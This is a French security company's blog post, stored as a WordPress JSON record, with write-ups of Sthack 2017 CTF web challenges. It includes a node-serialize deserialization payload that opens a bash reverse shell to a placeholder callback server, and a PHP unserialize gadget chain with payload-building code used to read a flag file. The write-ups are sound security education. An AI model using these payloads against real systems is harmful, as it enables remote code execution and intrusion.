{"id":2957,"date":"2017-04-30T20:38:23","date_gmt":"2017-04-30T18:38:23","guid":{"rendered":"http:\/\/securite.intrinsec.com\/?p=2957"},"modified":"2017-04-30T20:38:23","modified_gmt":"2017-04-30T18:38:23","slug":"sthack-2017","status":"publish","type":"post","link":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","title":{"rendered":"Stack 2017"},"content":{"rendered":"

Comme l\u2019ann\u00e9e derni\u00e8re, certains auditeurs Intrinsec se sont d\u00e9plac\u00e9s \u00e0 Bordeaux le temps d\u2019un week-end pour la conf\u00e9rence Sthack <\/a>2017 et le CTF qui s\u2019en est suivi.<\/p>\n

La premi\u00e8re \u00e9quipe a d\u00e9croch\u00e9 la seconde place apr\u00e8s avoir men\u00e9 la comp\u00e9tition une bonne partie de la nuit. La seconde \u00e9quipe a pris quant \u00e0 elle la cinqui\u00e8me place.<\/p>\n

\"\"<\/p>\n

Nous remercions les speakers de la conf\u00e9rence, les organisateurs et sponsors de cet \u00e9v\u00e9nement que nous avons appr\u00e9ci\u00e9.<\/p>\n

Avec un peu de retard, nous vous partageons les write-ups de quelques \u00e9preuves.<\/p>\n

Dreambook<\/h1>\n

Il s\u2019agit d\u2019une application Web node.js, nous identifions le code source original dans un tutoriel sur Internet et apr\u00e8s l\u2019avoir test\u00e9 nous remarquons une diff\u00e9rence majeure avec l\u2019\u00e9preuve : un cookie profile<\/em> suppl\u00e9mentaire qui contient du JSON encod\u00e9 en base64.<\/p>\n

Nous pouvons d\u00e9clencher une erreur en le modifiant pour un JSON invalide :<\/p>\n

\"\"<\/p>\n

Cette erreur verbeuse divulgue le fait que le module node-serialize<\/em> est utilis\u00e9 pour parser le JSON. Le mot cl\u00e9 serialize<\/em> attire forc\u00e9ment l\u2019attention et on identifie rapidement sur Internet que ce module node.js est vuln\u00e9rable de mani\u00e8re similaire au unserialize<\/em> de PHP ou Pickle<\/em> de Python. Contrairement \u00e0 ces derniers, il est possible de s\u00e9rialiser directement du code avec une syntaxe particuli\u00e8re, nous obtenons le payload suivant :<\/p>\n

{\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \\\"bash -i >& \/dev\/tcp\/IP_SERVEUR_CALLBACK\/80 0>&1\\\"')}()\"}<\/pre>\n
Nous obtenons un reverse shell sur notre serveur, il ne reste plus qu\u2019\u00e0 extraire le flag :<\/p>\n
\"\"<\/p>\n
Web Page Tester<\/h1>\n
Il s\u2019agit d\u2019une application Web PHP pour laquelle le code source nous \u00e9tait fourni. Assez rapidement on identifie des fonctions dangereuses int\u00e9ressantes : include<\/em>, unserialize, shell_exec.<\/em><\/p>\n
Le unserialize<\/em> dans index.php<\/em> prend en entr\u00e9e la valeur d\u2019un cookie :<\/p>\n
else if(isset($_COOKIE['datas'])){\n$datas = unserialize(base64_decode($_COOKIE['datas']));\nif(!is_array($datas)) die(\"Are you trying to hack me ???\");\n$login = $datas[\"login\"];\n$password = $datas[\"password\"];\n$user = New User($login,$password);\n<\/pre>\n
Il faut donc envoyer un cookie datas<\/em> avec un tableau PHP s\u00e9rialis\u00e9 et encod\u00e9 en base64. Le contenu de ce tableau est ensuite pass\u00e9 au constructeur de User<\/em> qui stocke simplement le login<\/em> et le password<\/em> dans les attributs de l\u2019objet.<\/p>\n
Nous remarquons que dans la suite de index.php<\/em>, que les identifiants soient corrects ou non, la m\u00e9thode htmlentities<\/em> sera appel\u00e9e sur l\u2019objet User<\/em> :<\/p>\n
if(isset($user)){\n    if($user->login()){\n        echo \"<h4>Coucou \".htmlentities($user).\"<\/h4>\";\n        echo New File(\"pages\/curl.php\");\n    }\n    else {\n        echo htmlentities($user).\" bad auth\";\n<\/pre>\n
Ceci d\u00e9clenchera la m\u00e9thode __toString<\/em> qui est surcharg\u00e9e pour retourner la valeur du login<\/em>, si le login<\/em> est un objet \u00e0 son tour sa m\u00e9thode __toString<\/em> sera appel\u00e9e.<\/p>\n
C\u2019est int\u00e9ressant car dans la classe File<\/em> nous avons la m\u00e9thode __toString()<\/em> qui appelle include<\/em> sur l\u2019attribut path<\/em> qui est d\u00e9finissable par son constructeur :<\/p>\n
class File{\n\tprivate $path;\n\n\tfunction __construct($path){\n\t\t$this->path = $path;\n\t}\n\n\tfunction __toString(){\n\t\tinclude($this->path);\n\t\treturn \"\";\n\t}\n}\n<\/pre>\n
Autre fichier d\u2019int\u00e9r\u00eat : curl.php<\/em> qu\u2019il n\u2019\u00e9tait pas possible d\u2019appeler directement en raison d\u2019un .htaccess<\/em> mais qui est \u00e0 notre port\u00e9e via l\u2019include<\/em> :<\/p>\n
$url = $_POST['url'] ?? null;\n\nif($url) {\n\t$good_chars =\"0123456789abcdefghijklmnopqrstuvwxyz.-\/?=:\";\n\t$blacklist = array('127.0.0.1','localhost',$GLOBALS[\"management_ip\"]);\n\tif(!in_array($url,$blacklist)){\n\t\t$url_escaped = \"\";\n\t\tfor($i=0;$i<strlen($url);$i++){\n\t\t\tif(strstr($good_chars,$url[$i])) $url_escaped .= $url[$i];\n\t\t}\n\t\t$rep = shell_exec(\"curl -s -m 4 -v -- '$url_escaped' 2>&1\");\n\t}\n\telse die('Blacklisted');\n}\n<\/pre>\n
Une liste noire \u00e9vite l\u2019injection triviale de commandes shell<\/em> : nous ferons sans, ce qui nous int\u00e9resse c\u2019est file:\/\/\/flag\/flag.txt (vu dans le fichier admin\/admin.php<\/em>).<\/p>\n
Nous avons tous les \u00e9l\u00e9ments requis, voici comment pr\u00e9parer notre payload en PHP :<\/p>\n
<?php\nclass File{\n\tprivate $path;\n\tfunction __construct($path){\n\t\t$this->path = $path;\n\t}\n}\n$user = Array(\n\t\"login\" => new File(\"pages\/curl.php\"),\n\t\"password\" => \"toto\"\n);\n\n$payload = base64_encode(serialize($user));\necho $payload;\n?>\n<\/pre>\n
Et voici la requ\u00eate que nous envoyons avec notre payload pr\u00e9c\u00e9dent :<\/p>\n
\"\"<\/p>\n
Obtention du flag :<\/p>\n
\"\"<\/p>\n
Attaque terroriste<\/h1>\n
L\u2019\u00e9preuve nous explique l’histoire fictive d’un terroriste pr\u00e9parant une attaque et ayant laiss\u00e9 seulement le message suivant, t\u00e2che \u00e0 nous de d\u00e9couvrir les coordonn\u00e9es GPS de sa cible :\"\"<\/p>\n
Soit on a la chance d\u2019avoir un #avgeek dans son \u00e9quipe, soit on cherche sur Internet quelques mots cl\u00e9s comme LFBI : code a\u00e9rien de l\u2019a\u00e9roport de Poitiers, et on comprend alors mieux le sens de \u201cd\u00e9part\u201d et \u201ccroisi\u00e8re\u201d.<\/p>\n
Notre terroriste d\u00e9colle donc de l\u2019a\u00e9roport de Poitiers (LFBI) dans un avion F172 le 7 avril 2017 \u00e0 16h UTC.<\/p>\n
Il a ensuite pr\u00e9vu un impact \u00e0 16h09 (donc pas tr\u00e8s loin) sur une cible point\u00e9e par deux points VOR<\/a> (syst\u00e8me de positionnement radio\u00e9lectrique). Il ne reste plus qu\u2019\u00e0 sortir la carte de croisi\u00e8re de l\u2019espace inf\u00e9rieur fournie par le Service de l’Information A\u00e9ronautique fran\u00e7ais<\/a>.<\/p>\n
Nous identifions sur la carte les points VOR :<\/p>\n